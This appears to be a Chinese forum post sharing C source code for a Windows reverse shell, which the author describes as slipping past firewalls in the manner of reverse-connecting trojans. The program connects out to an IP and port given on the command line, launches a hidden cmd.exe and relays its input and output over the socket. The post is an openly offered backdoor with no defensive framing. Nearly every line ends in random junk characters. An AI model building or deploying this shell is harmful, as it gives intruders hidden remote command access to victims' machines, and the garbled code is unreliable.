这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V+- ]txu|
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/* ============================== f'Cx%
Rebound port in Windows NT b@
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By wind,2006/7 @teNT"
===============================*/ G.y~*5?#
#include .!Qo+(
#include +#=l{_Z,ZJ
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#pragma comment(lib,"wsock32.lib") ed:[^#Lj
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void OutputShell(); rUOl+p_47
SOCKET sClient; qOi"3_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Mlm dfO%Y
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void main(int argc,char **argv) k<i#agq
{ LktH*ePO
WSADATA stWsaData; ccm(r~lhJ
int nRet; >2[nTfS
SOCKADDR_IN stSaiClient,stSaiServer; Vb$4'K'
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if(argc != 3) .M zAkZ=
{ Wv4o:_}
printf("Useage:\n\rRebound DestIP DestPort\n"); OS7^S1r-
return; E
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} +%: /!T@@
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WSAStartup(MAKEWORD(2,2),&stWsaData); _zF*S]9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w4%yCp[,
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stSaiClient.sin_family = AF_INET; 7v{s?h->$
stSaiClient.sin_port = htons(0); JK_(!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); uE%$<o*#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D/x!`&.sN
{ @M_p3[c\
printf("Bind Socket Failed!\n"); "CcdwWM
return; Yp(F}<f?
} &/-^D/ot
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stSaiServer.sin_family = AF_INET; 7w?V0pLwn8
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N`1W"Rx!
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yhzZ[vw7k
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) UD}#c:I
{ z [9f
printf("Connect Error!"); '#Pg:v_
return; /.>8e%)
} ~P;KO40K
OutputShell(); P<s0f:".
} zvAUF8'_
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void OutputShell() G ,fh/E+
{ ' En|-M5
char szBuff[1024]; DLBHZ?+!
SECURITY_ATTRIBUTES stSecurityAttributes; C0v1x=(xiM
OSVERSIONINFO stOsversionInfo; (#?k|e"Y"`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]sL)[o
STARTUPINFO stStartupInfo; K#_x.:<J
char *szShell; ecIZ+G)k
PROCESS_INFORMATION stProcessInformation; Oiz@tEp=_
unsigned long lBytesRead; 6L}}3b h
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M`u&-6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !eE;MaS>
stSecurityAttributes.lpSecurityDescriptor = 0; >xB[k-C4
stSecurityAttributes.bInheritHandle = TRUE; "Di8MMGOY
) u
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i$CN{c*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9qcA+gz:|
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pS6p}S=1]
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TpIx!R9
stStartupInfo.wShowWindow = SW_HIDE; e/s8?l
stStartupInfo.hStdInput = hReadPipe; 8DLj?M>N
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5%)<e-
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GetVersionEx(&stOsversionInfo); qGVf!R
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switch(stOsversionInfo.dwPlatformId) mJN*DP{
{ 05PRlz*x=
case 1: P~d&PhOe
szShell = "command.com"; x4=Sm0Ro|V
break; *3Qwmom
default: oQ:.pq{T
szShell = "cmd.exe"; su\iUi
break; aTL u7C\-e
} INjr$'*
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K~6,xZlDWM
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send(sClient,szMsg,77,0); 4#"_E:;PQ
while(1) |x#w8=VP-
{ ]/ffA|"U`
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %pG^8Q()
if(lBytesRead) cM 5V%w
{ OAw- -rl
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b<bj5m4fz>
send(sClient,szBuff,lBytesRead,0); [Rxbb+,U
} p'f8?jt
else 7H!/et?S,
{ Q/zlU@
lBytesRead=recv(sClient,szBuff,1024,0); ;eY.4/*R
if(lBytesRead<=0) break; w 8BSY
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0 *^>/*
} EJ@&vuDd$
} O3K TKL]
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return; s{9G//
}